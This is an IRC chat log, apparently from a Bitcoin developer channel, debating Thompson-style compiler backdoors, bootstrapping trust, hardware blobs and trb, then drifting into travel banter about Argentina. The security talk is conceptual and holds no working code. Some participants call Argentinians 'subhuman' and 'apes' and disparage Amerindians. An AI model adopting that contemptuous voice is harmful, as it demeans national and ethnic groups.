secondhand, almost always 1636589;1491255564;mircea_popescu;phf do you trust your girlfriend ? 1636590;1491255572;asciilifeform;and yes it means you have to pull the eproms, burn own, etc 1636591;1491255602;mircea_popescu;asciilifeform had pc died in 1985, apple would be in charge of computing today, and all software would consist of http://btcbase.org/log/2017-03-20#1629701 1636592;1491255602;a111;Logged on 2017-03-20 20:46 mircea_popescu: in other lulz, the state of casual gaming is completely fucked up. so other than utter throwaways, stuff that looks like someone's undegrad project, the ~entire market of ipad-likes (stuff that works in the browser, or else via a "light" client for windows/mac, or else as a ipad/android etc app) is wholly like this : 1636593;1491255605;mircea_popescu;ALL software. 1636594;1491255609;phf;mircea_popescu: within expected operational parameters 1636595;1491255613;asciilifeform;phf: the need to 'trust the foundry' evaporates under the 'SOLELY fpga fabric' model of computation. we had the thread. 1636596;1491255636;mircea_popescu;phf which is my point. trust is not binary. yes you trust her, but many things she thinks you care about you don't, and even more you care in different contexts and to different levels than she imagines. 1636597;1491255638;phf;asciilifeform: you're just moving the counterparty problem around, which is exactly my point 1636598;1491255651;asciilifeform;mircea_popescu: quite conceivably commodore inc would have won -- and pc would come with schematics and signal chart. 1636599;1491255668;asciilifeform;crapple was not, in '80s, what it is today. 1636600;1491255672;asciilifeform;was just another set of derps. 1636601;1491255681;phf;mircea_popescu: that's not directly relevant to my point though 1636602;1491255686;mircea_popescu;if i come up with random "will you phf guarantee to me that if i swab her cheek on so and so date there won't be a spermatozoid in the microscope field", you'll just shrug. 1636603;1491255702;trinque;moving the counterparty problem under a microscope where human can inspect it is not equivalent to the other given cases 1636604;1491255703;mircea_popescu;well that's what i want to discuss, seems to me it's central to the point. what's the disconnect ? 1636605;1491255743;mircea_popescu;asciilifeform inconceivable, but this discussion is not something we can actually carry satisfactorily i guess. we'll hafta let it be. 1636606;1491255764;asciilifeform;trinque: recall the 'specificity of diddling' thread; inspection is only one of the two known defenses. 1636607;1491255797;asciilifeform;( the other is to build system out of movable blocks in such a way that it becomes conceptually impossible to build a proper 'surprise' ) 1636608;1491255815;asciilifeform;per http://btcbase.org/log/2017-02-24#1617495 discussion. 1636609;1491255815;a111;Logged on 2017-02-24 02:36 asciilifeform: veen: let's try a historical angle. according to legend, emperor qin shi huangdi (same d00d as known for taking the 'immortality pill' and promptly croaking) had a palace with 1,500 rooms. and would not tell anyone in advance which one he plans to sleep in on a given night. and which ones he would put cutthroats in, ready to kill anyone who opens door. think 'minesweeper.' 1636610;1491255825;phf;mircea_popescu: trust in bootstrapping problem is a specific concern that comes from ken thompson's "reflections on trusting trust" 1636611;1491255831;mircea_popescu;phf state it ? 1636612;1491255876;phf;you can design a malicious bootstrapper that will compromise the bootstrapped code 1636613;1491255887;mircea_popescu;you can do this ? 1636614;1491255892;phf;so it's irrelevant if the bootstrapped code is inspectable 1636615;1491255954;mircea_popescu;i think we're not talking of the same thing. so, i have, for the sake of argument, a 50k line bcc, which builds c and doesn't optimize. it's my bootstrapping compiler. it runs on musl, say. i fire up a pogo, put this on, and proceed to build a kernel during the next week. 1636616;1491255979;mircea_popescu;meanwhile you, catchingwind of this, go into your thomspon shrine, say abracadabra and now my kernel is infected with phf-rat ? 1636617;1491256016;phf;the machine that you built your bcc on could already be infected, and the resulting bcc binary is compromised 1636618;1491256018;asciilifeform;nah. try different angle: 1636619;1491256031;mircea_popescu;phf but will it necessarily be infected ? 1636620;1491256037;asciilifeform;let's say that every machine that ever saw a linux kernel tarball, since, say, 2002, patched it. 1636621;1491256042;asciilifeform;so nobody's checksum fails, etc. 1636622;1491256063;asciilifeform;including author's. 1636623;1491256077;phf;gcc has a long living nsa hack that modifies some pattern in a malicious way, etc. 1636624;1491256081;asciilifeform;( not to say that this is practical, but it would be ~the~ thompson angle. ) 1636625;1491256103;asciilifeform;aha. ideally something very simple, that 'looks like typo' 1636626;1491256111;*;trinque being an idiot in these matters, has a very stupid (and unfinished) scheme in x86-64 asm 1636627;1491256112;asciilifeform;an off-by-one in array,e tc 1636628;1491256125;asciilifeform;trinque: i suspect that almost everyone here has one 1636629;1491256145;trinque;so then, the path is up from there. I fail to see the flaw with it (other than wrong arch) 1636630;1491256158;asciilifeform;trinque: i stopped working on subj when i utterly failed, after many months of effort, to get an ab initio GB nic driver to exist 1636631;1491256176;trinque;right, so that's a separate matter 1636632;1491256185;asciilifeform;trinque: the flaw is that you gotta support a megatonne of liquishit for even nic to work -- dma, page tables, etc 1636633;1491256198;asciilifeform;it isn't a 'separate matter', it is a lifetime of liquishit pumping 1636634;1491256210;trinque;no. it is entirely separate from "does this approach to bootstrapping work" 1636635;1491256213;asciilifeform;you can view the result of the last set of folx who did it, 'movitz', which boots on 0 modern irons. 1636636;1491256214;trinque;it is miles from there 1636637;1491256258;ben_vulpes;throw the nic out, we're going to shortwave anyways 1636638;1491256264;asciilifeform;enemy pumps in new hardware that 'you MUST support, or otherwise you WILL buy your comps on ebay strictly' faster than you can driver. 1636639;1491256277;trinque;yes still have to apply the WoT to whether I can trust the man, but if I *do*, it is possible to be said that the man who started from step 1 had the whole fucker in his head. 1636640;1491256286;trinque;he wrote the ASM 1636641;1491256291;asciilifeform;ben_vulpes: if i can't connect comp to $othercomp at bus speed - you lost me. 1636642;1491256325;asciilifeform;trinque: problem is that every gb nic in existence needs a blob. 1636643;1491256337;phf;mircea_popescu: i'm not saying that it's going to be infected. i'm saying that's what trust means in a bootstrapping problem. if you're not concerned about that angle, you can relax trust requirements significantly. 1636644;1491256340;asciilifeform;(and afaik every 100M nic currently in production) 1636645;1491256345;trinque;conversation has to proceed outward for it to work 1636646;1491256351;trinque;just like the imagined item 1636647;1491256374;asciilifeform;trinque: the x64 box that 'you can get the docs for' is , as i learned experimentally and very painfully -- a strictly imagined item 1636648;1491256375;trinque;the ASM builds syslisp, syslisp builds compiler, compiler builds system approach works 1636649;1491256386;trinque;stated by novice, ofc 1636650;1491256399;asciilifeform;you cannot gabriel_laddel your way around the shitfest that is the iron. 1636651;1491256417;asciilifeform;dun have to take my word for it, can try it yourself, burn a decade like i did. 1636652;1491256428;trinque;!!gettrust trinque asciilifeform 1636653;1491256428;deedbot;L1: 3, L2: 13 by 8 connections. 1636654;1491256434;trinque;nah I hear ya :p 1636655;1491256456;asciilifeform;( consider naggum's description -- 'our field does not actually advance, because we are broken people who do not learn from mistakes' or how was it. ) 1636656;1491256480;trinque;question is whether "I must ask $guy for $binaryblob" or not. 1636657;1491256508;asciilifeform;incidentally, in olden days, most folks used no asmer 1636658;1491256512;asciilifeform;they asmed on grid paper 1636659;1491256519;asciilifeform;and rom burners were often boxes with hex keypads 1636660;1491256519;trinque;answer's trivially yes, but size of the thing isn't moot. or do I misrepresent phf? 1636661;1491256534;asciilifeform;it is not difficult to build a gadget that dumps an eprom to paper tape 1636662;1491256548;asciilifeform;and such a gadget is not, save for the eprom, in the usual sense 'electronic' 1636663;1491256555;mircea_popescu;phf now now. don't squirm away. let's have the discussion. what exactly IS the concern. 1636664;1491256560;asciilifeform;(can simply be row of lamps, and moving photo paper.) 1636665;1491256571;mircea_popescu;state it plainly and without reference, in its complete formulation. 1636666;1491256692;phf;mircea_popescu: unless you have full control over your bootstrap machine you're not guaranteed to have full control over your bootstrapped machine. 1636667;1491256698;asciilifeform;trinque: so, while machine requires 'blob' to boot (note though, e.g., pdp8, did not, also had hex keypad) -- it is not necessarily true that said 'blob' is not optically readable by human. 1636668;1491256727;mircea_popescu;phf this is elementarily false. i don't have full control over eg female biology, enjoy full control over my slavegirls. 1636669;1491256747;mircea_popescu;i don't have full control over turbulent flow, nevertheless fly unmolested. and so following. 1636670;1491256764;mircea_popescu;let's distinguish the genuine problem from "sky is falling in pies and nsa owns thermodynamics" 1636671;1491256770;trinque;seems to underscore the need to inspect outputs and comprehend them 1636672;1491256780;trinque;ties in with asciilifeform's too 1636673;1491256788;phf;well, i didn't finish 1636674;1491256788;phf;. 1636675;1491256790;mircea_popescu;trinque they're blisfully unaware of the power of comparison, which is why that part of the discussion keeps being shied away from. 1636676;1491256797;mircea_popescu;phf oh sorry. 1636677;1491256809;mircea_popescu;please put a terminator when you're done and i'ma do my best to ignore the interlopers! 1636678;1491256815;phf;well, i think that the comparison is obscures the actual point 1636679;1491256832;mircea_popescu;no, no, start over. full statement of the problem, explicitly terminated. ty. 1636680;1491256838;phf;kk 1636681;1491256896;phf;any arbitrary chain of "i compile tcc that i use to compile gcc that i use to compile kernel" can be compromised even if you have full sources, read and understood etc. of tcc, gcc and kernel. 1636682;1491256985;phf;you introduce the hack in the original compiler that you used to compile tcc. the original compiler, having prior knowledge of the chain, or some arbitrary compilation of chains, will ensure that the first tcc you get will propagate the hack further down 1636683;1491257065;trinque;phf: that problem is introduced *by* the urge to write your compiler in its own language, neh? 1636684;1491257067;phf;in this case control of the bootstrap machine is at the very least equivalent to "if i compile a source, would the behavior of the binary correspond to what the compiler specification fully or not" 1636685;1491257108;phf;and the lack of control means that your bootstrap machine compiler can do arbitrary things to the binary 1636686;1491257163;phf;that's the point so far 1636687;1491257266;asciilifeform;i will add to phf's summary -- if the problem afflicted ~strictly~ compilers, it would be quite easy to solve -- write bootstrap in asm. but there is no rule that it has to affect strictly compiler. could just as easily be - say - the ~loader~. 1636688;1491257285;asciilifeform;anything that eats a maybe-inspected input and produces a never-inspected-but-is-executed output. 1636689;1491257298;trinque;nobody contests the problem exists; it'd be more interesting to discuss where to put it. 1636690;1491257324;mircea_popescu;phf the premise ("1 item can be compromised") is true ; this however is not a ~systematic~ concern. the reason it isn't a systematic concern has everything to do with the imaginary concept of "the hash with checksum". suppose 1) a hash function existed which 2) contained a secret which 3) allowed the possessor to distiguish possible inputs into two classes and then on the basis of the result know whether the input that led to 1636691;1491257325;mircea_popescu; it was class 1 or 2. this is an equivalent notation of the thompson problem for compilers (there's no difference between hashing and compiling in this sense). 1636692;1491257345;mircea_popescu;the problem with this, however, is that the magical hash-with-checksum function ~does not exist~. it's part of trilema sf for a reason. 1636693;1491257359;mircea_popescu;what does exist is a version whereby the secret can be built ~on the basis of~ given inputs. 1636694;1491257386;mircea_popescu;and this sad limitation fundamentally weakens the process, so that if i keep building more complex inputs your ability to make the prediction weakens (by the log of the count, in the pure case) 1636695;1491257397;mircea_popescu;need i break out the math for this or is it obvious from stating ? 1636696;1491257419;asciilifeform;thompson's demo worked for arbitrary N layers. 1636697;1491257420;asciilifeform;trivially. 1636698;1491257464;mircea_popescu;for arbitrary unary layerts. 1636699;1491257472;mircea_popescu;"man in cave" 1636700;1491257475;asciilifeform;(incidentally ~all extant c compilers 'thompsonize' and nobody even seems to notice, because it passes as 'optimize') 1636701;1491257493;asciilifeform;gcc (yes even 4.x) will happily remove certain checks 1636702;1491257494;mircea_popescu;hey, i proposed unoptimizing compiler for the role for reasons! 1636703;1491257497;asciilifeform;aha 1636704;1491257518;asciilifeform;but whereever in the loop one begins to use, e.g., gcc -- from that point on, thompsonized. 1636705;1491257526;asciilifeform;(even if bootloader -- wasn't) 1636706;1491257547;mircea_popescu;not necessarily. 1636707;1491257562;mircea_popescu;and the "not necessarily" sinks it, because now i have what to compare, and that's the end of that. 1636708;1491257648;asciilifeform;incidentally the folx who designed ada, read thompson's paper. and immediately acted. which is why in ada you get 'driving stick'-style control over the compiler, the order in which it puts down routines, and data structures during 'elaboration', and can leave bread crumbs for manual binary auditor (yes) to look for when he compares (yes) binaries built on different systems for same rocket. 1636709;1491257656;asciilifeform;strictly so that they can be thus compared. 1636710;1491257705;asciilifeform;the standards group stopped short of 'any compiler that shits out a bitstring different from the official one for a particular cpu, is nonconformant', however. 1636711;1491257710;asciilifeform;imho -- ought to have stated this. 1636712;1491257790;asciilifeform;(picture if two d00dz were sent into two separate dungeons , and promised impalement if they come out with c compilers that produce binaries for particular test program that differ EVEN IN ONE BIT. quite impossible for them to avoid the stake, because c is ~nonstandardized~, in the sense where the standard does NOT specify all cases) 1636713;1491257850;mircea_popescu;asciilifeform those are all fine examples of "break out of unary". 1636714;1491257862;asciilifeform;unary? 1636715;1491257899;mircea_popescu;ad-hoced it above. the thing which thomson describes, which is a very fundamental "specificly diddlable" process. "man in his cave" sort of thing. 1636716;1491257907;phf;i think the point is that you can't design the process for an arbitraray chain of transformations 1636717;1491257934;asciilifeform;phf: the basic theorem involved in breaking out of a thompsonism is specificity-of-diddling. 1636718;1491257936;mircea_popescu;phf the rub is that you're stuck with infinity on one end. you really can't tell in advance what i'll want your compiler to do. 1636719;1491257961;mircea_popescu;the hope that it'll always find a way to do what you want it to do in front of my boundless requests is essentially the root of government. 1636720;1491257970;asciilifeform;take my old example, 'boobytrap an fpga.' elementarily you WILL need to somehow fit an ai in there, to create any serious problem for UNKNOWN bitstream 1636721;1491257989;mircea_popescu;right. 1636722;1491258008;asciilifeform;the problem with applying this principle to c compiler, is that c offers ~permanent~ fertile ground for booby 1636723;1491258013;asciilifeform;say, remove array overflow check. 1636724;1491258026;mircea_popescu;but this is transparent not opaque. 1636725;1491258031;mircea_popescu;we can read asm wtf. 1636726;1491258032;asciilifeform;or nudge a stack so it overflows if magic number present. 1636727;1491258037;phf;i don't think it's a problem for an arbitrary chain. i was more thinking lizard hitler patches compiler to specifically fuck with rotor3 chain 1636728;1491258048;asciilifeform;mircea_popescu: nobody reads multiMB of asm. 1636729;1491258055;mircea_popescu;phf and then keeps patching ? forever ? from behind the grave ? 1636730;1491258061;asciilifeform;systems where 'rocket MUST launch and we WILL read asm' -- keep it in sane bounds of size. 1636731;1491258072;mircea_popescu;asciilifeform i dunno who was proposing we don't. 1636732;1491258092;asciilifeform;well, if using ANY 'old world' soft -- gcc, emacs, linux kernel, bsd -- that's a 'won't'. 1636733;1491258097;asciilifeform;because they add up to multi-MB of asm. 1636734;1491258117;phf;mircea_popescu: if rotor4 comes out, must patch again. there's no inf on our side despite the process being potentially inf, because we're limited by time/energy 1636735;1491258154;asciilifeform;( idiot x86 cpu, means that ~any nontrivial program is multiMB of asm. and hence why i wrote http://www.loper-os.org/?p=256 . ) 1636736;1491258158;mircea_popescu;so someone is going to predict rotor4 ? 1636737;1491258162;mircea_popescu;or else patch it after we've used ? 1636738;1491258184;asciilifeform;mircea_popescu: i can trivially patch gcc such that anything later built that uses any string ops whatsoever, with external inputs, is exploitable. 1636739;1491258191;asciilifeform;and it'll be a 1 byte difference in 1 place. 1636740;1491258206;mircea_popescu;because if "patch after used" then it's created a partition which i can use ; and if "predict" then the inf-in-being is rightthere. 1636741;1491258207;asciilifeform;(this is an freshman problem) 1636742;1491258218;mircea_popescu;and i won't be using it. 1636743;1491258227;asciilifeform;you may be already using it, was the idea. 1636744;1491258237;mircea_popescu;yes, but this idea doesn't scale the way phf wants it to scale. 1636745;1491258240;phf;mircea_popescu: of course not predict. likewise no concept of AI is involved anywhere 1636746;1491258245;mircea_popescu;yes, i might. but i don't ~have to~ already be using it. 1636747;1491258257;mircea_popescu;phf it's either predict or expose itself. there's no third. 1636748;1491258269;phf;i agree, but i never said anything in opposition 1636749;1491258282;mircea_popescu;either i get to use my tool frist, in which case i can perceive a change ; or else i don't get to use my tool first, in which case -- prediction is necessary. 1636750;1491258306;asciilifeform;'perceive a change' how ? 1636751;1491258316;mircea_popescu;well ok, so the understanding of the thompson bootstrap problem is that it's not an absolute bar to bootstrapping, but a possible pitfall ? 1636752;1491258322;phf;if i have an open ssh port on my machine that i don't know about, then the attack can happen any time in between "rotor3" released "i decide to install rotor3"" 1636753;1491258325;asciilifeform;say it introduces an off-by-one 0.001% of the time. 1636754;1491258327;mircea_popescu;asciilifeform elementarily, i saw the item run pre-patched, now i see it run patched. 1636755;1491258343;mircea_popescu;phf and if you don't keep the machine online, you don't. 1636756;1491258349;mircea_popescu;again : unarisms are unarisms. 1636757;1491258421;asciilifeform;mircea_popescu: it is conceivable that no one now living has ever used a 'pre-patch' gcc. that's the idea, that 'gcc' is not in fact defined by its src, but by the aggregate of 'the published src' + 'the extant sets of built gccs' 1636758;1491258435;asciilifeform;and the latter is largely unexplored 1636759;1491258441;mircea_popescu;and tcc idem ? 1636760;1491258467;asciilifeform;tcc not so, but only if you bootstrap it by hand-compiling to grid paper and entering via toggles. 1636761;1491258478;asciilifeform;(rather than by, as bellard did, compiling with gcc.) 1636762;1491258479;mircea_popescu;obviously, "i choose to live in usg" means... you chose to live in usg. "but i had no other options". hurr. 1636763;1491258502;mircea_popescu;asciilifeform the outlined plan was to read it, pare it down for the function contemplated, compile it with itself etc. 1636764;1491258515;asciilifeform;but yes, you can elementarily 'exit the cave' by using grid paper, head compiler, toggles. in fact this was one of the first ( the first ?) threads with asciilifeform on mircea_popescu's www comment section 1636765;1491258519;asciilifeform;anyone remember it ? 1636766;1491258548;asciilifeform;the one where 'i can read an eprom without a comp. and write it without a comp. now where is your thompson bomb.' 1636767;1491258667;asciilifeform;but mircea_popescu has it, there is a variety of ways to break out of a hypothetically thompsonized universe. but -- for some reason -- ~entirely 'not done'. 1636768;1491258678;asciilifeform;'it wouldn't do.' 'only a terrorist would.' 1636769;1491258679;asciilifeform;etc 1636770;1491258701;mircea_popescu;well sure, so it's not done. 1636771;1491258704;asciilifeform;BUT the unfortunate bit is that there are ALSO a variety of ways to end up back ~in~. 1636772;1491258710;asciilifeform;such as, by at any point building gcc 1636773;1491258713;mircea_popescu;but we were discussing what we can do rather than what's done, or such was my understanding. 1636774;1491258716;asciilifeform;and then anything with ~it~. 1636775;1491258744;mircea_popescu;~all my interest in this dispute is the imo important point that thompson issue & friends is no actual bar to republican computing. 1636776;1491258753;asciilifeform;presently i suspect that mircea_popescu has a correct understanding of thompson. 1636777;1491258773;asciilifeform;but oughta see that thompson is an absolute bar to hygienic computing ~with gcc~ or any other similarly complex compiler. 1636778;1491258786;mircea_popescu;this i won't challenge. 1636779;1491258799;asciilifeform;that was the only point of contention, from asciilifeform . 1636780;1491258831;asciilifeform;really reduces to 'any system that doesn't fit in head is trivially thompsonized.' 1636781;1491258860;asciilifeform;i also suspect that any system that can be thompsonized, eventually will be (given as it propagates, the transformation is permanent). but that is separate point. 1636782;1491259010;mircea_popescu;the other vaguely relevant point is that it's probably cheaper to fix the c machine than to build the lisp machine. 1636783;1491259037;asciilifeform;describe the 'fix' 1636784;1491259040;mircea_popescu;but i don't have enough elements piled up to say what elements i need to say whether this is so or not. 1636785;1491259061;mircea_popescu;asciilifeform "runs trb". 1636786;1491259075;asciilifeform;one possible 'fix' is ada-shaped -- compiler makes up for the retardations of c machine, inserts array bounds checks, type checks, etc. 1636787;1491259078;asciilifeform;the down side is obvious: 1636788;1491259094;asciilifeform;the compiler is now gargantuan. and neither it, nor the binaries disasmed, 'fit in head.' 1636789;1491259102;mircea_popescu;in any proper statement, all the eg trb foundation's work goes towards one fold of "fixing c machine" in this sense. 1636790;1491259119;asciilifeform;mno, 0 of the work to date did anything whatsoever to 'fix c machine' 1636791;1491259135;mircea_popescu;it is trying to fix the trb, which is a component of the c machine, defined as "runs trb" 1636792;1491259145;asciilifeform;it was all, to date, 100% life support, strictly to forestall http://btcbase.org/log/2017-03-14#1627008 . 1636793;1491259145;a111;Logged on 2017-03-14 17:34 mircea_popescu: http://btcbase.org/log/2017-03-14#1626921 << yes. there's absolutely no argument that bitcoin dying on the enemy's terms would be an unmitigated catastrophe. chernobyl pales in comparison, it'd be on the level of "wheel is useless anyway" wisdom of dropped-on-head amerindians, or "oh pretty, spinning wheels" greek steam engine. utterly catastrophic. which is why eg http://trilema.com/2013/mpoe-march-2013-statement/#selection 1636794;1491259157;mircea_popescu;sure. 1636795;1491259165;mircea_popescu;these are not mutually exclusive statements. 1636796;1491259173;asciilifeform;they are wholly unrelated efforts. 1636797;1491259188;mircea_popescu;i don't see they are distinct. 1636798;1491259195;asciilifeform;not a single second of time spent reading or massaging shitoshi's liquishit, contributed anything whatsoever to the c machine problem. 1636799;1491259203;mircea_popescu;how do you know this ? 1636800;1491259215;asciilifeform;how do i know that it does not also propel the earth along its orbit. 1636801;1491259231;asciilifeform;the presumption that i have to prove the negative here, is ludicrous. 1636802;1491259259;mircea_popescu;well, if you are found with dead body and smoking gun, you'll have to prove the negative alright. 1636803;1491259273;mircea_popescu;in any case : it's work done upon a portion of the c machine. what more is needed to qualify ? 1636804;1491259274;asciilifeform;do what you will to trb, it is still written in idiot language that does not check bounds, on idiot iron that does not check bounds. 1636805;1491259279;mircea_popescu;sure. 1636806;1491259287;asciilifeform;masssaging of turd -- produces turd, not ferrocement. 1636807;1491259291;asciilifeform;turds do not workharden. 1636808;1491259324;mircea_popescu;code workhardens. 1636809;1491259335;asciilifeform;it pointedly does not. 1636810;1491259342;asciilifeform;that is the fundamental discovery of 25 years of c idiocy. 1636811;1491259357;asciilifeform;any day of the week, thing can be silently and imperceptibly broken. 1636812;1491259366;mircea_popescu;i suppsoe you define work differently from me. 1636813;1491259368;asciilifeform;because the conceptual foundations are retarded. 1636814;1491259384;asciilifeform;this in fact is a practical definition of 'turd' in our context : item that, massage it as you will, is still fundamentally broken by design. 1636815;1491259423;mircea_popescu;that has nothin to do however. 1636816;1491259452;mircea_popescu;at the very least things were learned about how trb is ~supposed to~ function, and this is sufficient to qualify it. 1636817;1491259464;asciilifeform;and this 'fixes c machine' how ? 1636818;1491259486;mircea_popescu;"c machine" defined as "item that runs trb" is thereby fixed through becoming more apparent than it previously was. 1636819;1491259530;asciilifeform;( this also ignores the -- screamingly evident -- fact of trb being ~algorithmically~ defective. as explored on several occasions here. ) 1636820;1491259538;mircea_popescu;and how did we find this out ? 1636821;1491259550;asciilifeform;i can't speak for others, 1636822;1491259557;asciilifeform;but i found out with pen and paper. 1636823;1491259565;asciilifeform;by looking at the data structures. 1636824;1491259567;mircea_popescu;work on massaging the protoypes is work towards the item prototyped, what's so unpalatable about this. 1636825;1491259582;asciilifeform;0. but it is imho odd to describe the process as 'fixes c machine' 1636826;1491259589;mircea_popescu;why not ? 1636827;1491259605;mircea_popescu;or i mean, why's it odd. 1636828;1491259610;asciilifeform;'c machine' has a specific meaning, refers to the type of cpu that traces descent to the transistor-impoverished 1970s, when bounds check was seen as unaffordable luxury. 1636829;1491259615;mircea_popescu;not anymore. 1636830;1491259623;mircea_popescu;c machine does have a specific meaning, and it is "item which runs trb." 1636831;1491259664;mircea_popescu;it's slowly emerged into obviousness that pretending "bitcoin is software" makes in fact 0 sense, and is entirely borne of idiocy. bitcoin is not "userland". bitcoin is the whole thing. 1636832;1491259686;asciilifeform;trb (the currently existing item) could quite conceivably run on entirely different type of machine, under emulation (smbx , for instance, shipped... believe -- a c compiler, in genera. along with fortran, ada..) 1636833;1491259712;asciilifeform;mircea_popescu: it ain't 'the software', either, it's a set of algos, they do not even take much paper to describe. 1636834;1491259735;mircea_popescu;yes. definition of "lisp machine" ALSO IS "item which runs trb" 1636835;1491259735;asciilifeform;('nqb' for instance is about half of a zero-otherpeoplescode implementation of same.) 1636836;1491259757;asciilifeform;this is not much of a definition, it encompasses more or less any comp that is large enough 1636837;1491259763;asciilifeform;regardless of how built. 1636838;1491259768;mircea_popescu;no. it encompasses any iotem that is a computer. 1636839;1491259780;mircea_popescu;as opposed to items that are toys, or turds, or tonsils. 1636840;1491259781;asciilifeform;not one that has 64k of addr space, say. 1636841;1491259907;asciilifeform;at any rate this is a bizarre line of thought. trb (or rather, bitcoin, the existing network) has any kind of long term future ~strictly~ if it can be entirely separated from the cpp abortion. 1636842;1491259941;asciilifeform;the drooling idiot's 'i will Define By Implementation!' horror. 1636843;1491259948;mircea_popescu;i don't see how it'll seriously run on anything besides a c machine for the mid term. 1636844;1491259972;asciilifeform;not speaking of machines here, i dun have a 'large comp that ain't a c machine' to even test with. 1636845;1491259979;asciilifeform;but of the nature of the beast. 1636846;1491259983;asciilifeform;it has to cease to be a cpp proggy. 1636847;1491259999;asciilifeform;to become legitimately 'an algorithm', rather than 'this thing a particular moron shat out' 1636848;1491260000;mircea_popescu;not sure how that's related, but by all means. 1636849;1491260029;asciilifeform;it is related in that it makes 0 sense to include 'c' as part of its identity. 1636850;1491260043;ben_vulpes;yeah, what business has steel in car anyways 1636851;1491260053;ben_vulpes;make stirling engine of moon beams 1636852;1491260053;asciilifeform;ben_vulpes: titanium car would work quite well. 1636853;1491260079;mircea_popescu;asciilifeform not trb's identity was being defined. the c machine's was. 1636854;1491260094;mircea_popescu;as in made of tits ? 1636855;1491260112;asciilifeform;i have plenty of 'c machines' right here that cannot run trb (on account of 'too small addr space' or 'too slow clock', take your pick.) 1636856;1491260127;asciilifeform;it makes 0 sense to merge the categories. 1636857;1491260198;asciilifeform;i'ma bbl, gotta change gask mask canister; and pet has been 'come to bedroom!111' for 2hrs nao.. 1636858;1491260218;trinque;you see where he keeps those canisters? 1636859;1491260303;ben_vulpes;doesn't sound like much of a surprise 1636860;1491260342;mircea_popescu;so how do they get refilled then ? 1636861;1491260406;ben_vulpes;sounds like $pet had an eye on the depletion meter 1636862;1491260416;trinque;mircea_popescu: clearly buttstrapping 1636863;1491261059;ben_vulpes;in other pki nyooz: http://gcaptain.com/us-announces-selective-availability-gps-devices/ 1636864;1491261258;trinque;ben_vulpes: apr 1 ? 1636865;1491261285;ben_vulpes;aw fuck 1636866;1491261306;ben_vulpes;this is what i get for not shaking the rss reader unread on the second 1636867;1491261315;ben_vulpes;shaking the rss reader *out unread 1636868;1491261348;mircea_popescu;lol 1636869;1491261689;ben_vulpes;so damn believeable though 1636870;1491261701;ben_vulpes;fucking hate april fool's day 1636871;1491261730;mircea_popescu;why, great day to propose marriage to long term fiance. 1636872;1491261743;ben_vulpes;"hey babe, want to be my second wife?" 1636873;1491264325;deedbot;http://www.contravex.com/2017/04/03/who-needs-to-learn-languages-when-you-have-google-translate/ << » Contravex: A blog by Pete Dushenski - Who needs to learn languages when you have Google Translate? 1636874;1491265391;ben_vulpes;http://btc.yt/lxr/satoshi/source/src/main.h?v=wires_rev1#0261 << kinda looks like all one needs to bake CTxIn's is the hash of the transaction and output index, can someone spot check this for me? 1636875;1491265444;phf;http://btcbase.org/log/2017-04-02#1636040 << all i knew about argentina i read in borges, casares and cortazar. i suspect if that argentina ever existed it's long dead 1636876;1491265444;a111;Logged on 2017-04-02 17:30 asciilifeform: whaddayamean they don't sit around , retired and deposed colonels, deciding which fighting cock to sell, before starving 1636877;1491265514;asciilifeform;phf: it left a pretty good-looking corpse, phf 1636878;1491265556;asciilifeform;( i will say, 0 of the things that drove mircea_popescu barking mad about the place, bother me at all. then again i was there for a week.. ) 1636879;1491265664;asciilifeform;ben_vulpes: what precisely are you thinking of attempting? 1636880;1491265675;phf;i know a few argentinians through yoga jet set crowd, and they are pleasant and fun company if nothing else. i prefer them to americans or germans most of the time 1636881;1491265711;asciilifeform;phf: yeah -- my mechanic is from buenos aires, and excellent conversation 1636882;1491265759;asciilifeform;a former neighbour -- also, and ditto 1636883;1491265830;ben_vulpes;asciilifeform: walking the blockchain in search of payments to a pubkey or pubkey hash, and indexing those in some manner (accounting for spends) such that they can be reconstituted into a transaction later 1636884;1491265871;asciilifeform;and i dun give a nanofuck that 'nightclubs there are small and crowded'. su circa 1975 had 0 nightclubs and i'd pick it over anywhere in known solar system, yes i would. 1636885;1491265935;asciilifeform;ben_vulpes: it isn't hard to do, no; i have it (tentatively) working right here. but -- it ~is~ O(n). 1636886;1491266007;ben_vulpes;asciilifeform: q more along the lines of "what is least necessary to write to disk in order to be useful later" 1636887;1491266077;phf;asciilifeform: i think the main objection is that it's a country of millenials, lota pretense, not much doing 1636888;1491266111;asciilifeform;phf: that's whole planet. with possible exception of japan -- country of nursing home. 1636889;1491266134;asciilifeform;ben_vulpes: see my ada snippets from last week, pasted here 1636890;1491266154;asciilifeform;tx format was exhaustively described therein. 1636891;1491266182;asciilifeform;( or your own parser, for that matter ! ) 1636892;1491266212;ben_vulpes;well yes i'm familiar with how the bits are laid down, but i am less familiar with how trb handles it internally 1636893;1491266238;asciilifeform;ben_vulpes: 'surprise!' -- it doesn't 1636894;1491266243;asciilifeform;bdb does. 1636895;1491266267;asciilifeform;(and -- just barely.) 1636896;1491271923;mircea_popescu;!!key serje 1636897;1491271924;deedbot;Not registered. 1636898;1491271957;mircea_popescu;asciilifeform argentina ? it's great for a week, and for a month. it's horrible for longer because the people are such subhuman shits. 1636899;1491272132;mircea_popescu;phf that argentina is essentially a scam. it never existed ; much like vhs america never existed. 1636900;1491272218;mircea_popescu;this isn't to say that pre-peron argentina wasn't a major world power, it was. but at no point was greenwich village what lifetime ohioan poet imagined it to be ; and similarily the hallucinated argentina of borges is a place exactly in the sense hemingway's manhood is a manhood or blair's civilisation is a civilisation. 1636901;1491272324;shinohai;Is it as shitty as Tijuana, where sewage spills go unnoticed for weeks? http://archive.is/nvFEL 1636902;1491272327;mircea_popescu;asciilifeform su in 1975 did not have 0 nightclubs. 1636903;1491272349;mircea_popescu;leaving aside that if you got to meet beria it was all fun and games from there on, the "discotheque" was a thing even for plebs. 1636904;1491272438;mircea_popescu;!~google "rio rita" 1636905;1491272440;jhvh1;mircea_popescu: Rio Rita | Mild mannered coffee shop by day, swanky lounge by night.: ; Our Menu | Rio Rita: ; Rio Rita - Home | Facebook: 1636906;1491272469;mircea_popescu;https://www.youtube.com/watch?v=g1UzHkN5jBA < 1636907;1491272574;mircea_popescu;shinohai yes. their official beach where everyone goes is actually untreated sewage. they don't care. 1636908;1491272635;shinohai;"Hey this water makes our skin more brown, so we aren't pasty like the Chileans!" 1636909;1491272645;mircea_popescu;phf they pretend to be millennials. in point of fact are apes. 1636910;1491272667;*;phf has a sudden urge to get some vodka and zakuska "nu chto, bratci, odahnem, so vkusom! eeeeeeh!" 1636911;1491272673;mircea_popescu;heh. 1636912;1491272687;mircea_popescu;the notion that ~at any point~ teh russkis lacked a night life is borne out of a very strange life. 1636913;1491272711;mircea_popescu;more of a scene in fucking 